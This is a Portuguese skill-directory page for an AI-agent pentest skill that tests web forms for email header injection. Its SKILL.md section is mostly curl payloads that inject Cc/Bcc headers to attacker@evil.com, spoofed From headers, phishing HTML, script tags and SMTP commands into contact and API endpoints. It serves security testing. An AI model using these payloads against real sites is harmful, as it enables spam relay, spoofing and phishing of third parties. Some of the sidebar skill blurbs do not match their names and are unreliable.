testing-for-email-header-injection
Ensina seu agente de IA a testar o código e achar erros antes dos usuários e cuidar de mensagens e atendimento.
O que ela faz
Esta ferramenta verifica se um site pode ser usado para enviar e-mails indesejados ou falsos. Ela testa formulários de contato, recuperação de senha e assinaturas de newsletter para ver se um invasor pode adicionar destinatários extras, modificar quem enviou o e-mail ou abusar do sistema para enviar spam.
Quando usar
- ✓Ao testar formulários de contato ou de feedback.
- ✓Ao verificar a função de recuperação de senha por e-mail.
- ✓Ao testar sistemas de assinatura de newsletter.
Exemplo do que pedir para a IA
“Verifique se o formulário de contato do site permite que eu adicione um destinatário 'Cópia Oculta' (BCC) para enviar spam.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta inserir caracteres especiais nos campos de e-mail do site. Se o site não limpar esses caracteres, ele pode ser enganado para adicionar cabeçalhos de e-mail extras, como destinatários ocultos ou remetentes falsos.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injectionOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-email-header-injection/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Injeção de Cabeçalho de E-mail
Quando Usar
- Ao testar formulários de contato, formulários de feedback ou funcionalidades de "enviar para um amigo"
- Durante a avaliação da funcionalidade de e-mail de redefinição de senha
- Ao testar sistemas de assinatura de newsletter ou e-mails de notificação
- Durante testes de penetração de aplicações que enviam e-mails com base na entrada do usuário
- Ao auditar endpoints de API relacionados a e-mail para injeção de cabeçalho
Pré-requisitos
- Burp Suite para interceptar e modificar requisições HTTP
- Compreensão do protocolo SMTP e da estrutura de cabeçalho de e-mail
- Conhecimento de técnicas de injeção CRLF (sequências \r\n)
- Contas de e-mail de teste para receber e-mails injetados
- Acesso a funcionalidades da aplicação que disparam o envio de e-mails
- Acesso aos logs do servidor SMTP para monitorar tentativas de injeção
Fluxo de Trabalho
Passo 1 — Identificar Pontos de Injeção de E-mail
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
# Test basic functionality first
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello&message=Test message"
Passo 2 — Testar Injeção de Cabeçalho CRLF
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
# Inject BCC header
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
# Inject via the name field
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"
# Inject via subject field
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"
# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0D%0ACc:attacker@evil.com"
# %0A (LF only)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ACc:attacker@evil.com"
# %0D (CR only)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0DCc:attacker@evil.com"
# Double encoding
curl -X POST http://target.com/contact \
-d "email=test@test.com%250ACc:attacker@evil.com"
Passo 3 — Injetar Conteúdo Personalizado de E-mail
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# Inject additional MIME parts
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# Override From header for email spoofing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AFrom:ceo@target.com"
# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AReply-To:attacker@evil.com"
Passo 4 — Testar Injeção IMAP/SMTP
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP command injection
curl -X POST http://target.com/api/send \
-d "to=test@test.com%0ARCPT TO:attacker@evil.com"
# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
-d "email=test@test.com%0AVRFY admin"
# Test SMTP relay abuse
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"
Passo 5 — Testar APIs de E-mail Baseadas em JSON
# Injeção de cabeçalho em API JSON
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
# Injeção de array para múltiplos destinatários
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
# Injeção de template no corpo do e-mail
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
…
Perguntas frequentes
O que é injeção de cabeçalho de e-mail?
É quando um invasor insere comandos extras nos campos de e-mail de um site para controlar como o e-mail é enviado, como adicionar mais destinatários ou mudar o remetente.
Por que é importante testar isso?
Sites vulneráveis podem ser usados para enviar spam, phishing ou e-mails falsos, prejudicando a reputação do site e dos seus usuários.
Quais ferramentas são necessárias?
Geralmente, são usadas ferramentas como Burp Suite ou OWASP ZAP para interceptar e modificar as requisições que o site faz ao enviar e-mails.
Detalhes
Descrição original do autor
Tests web application email functionality (contact forms, password reset, newsletter subscriptions) for CRLF/SMTP header injection using Burp Suite and OWASP ZAP, checking whether attackers can inject headers, modify recipients, or abuse forms for spam relay. Use when testing any user-input-driven email-sending feature during a penetration test.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6221
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC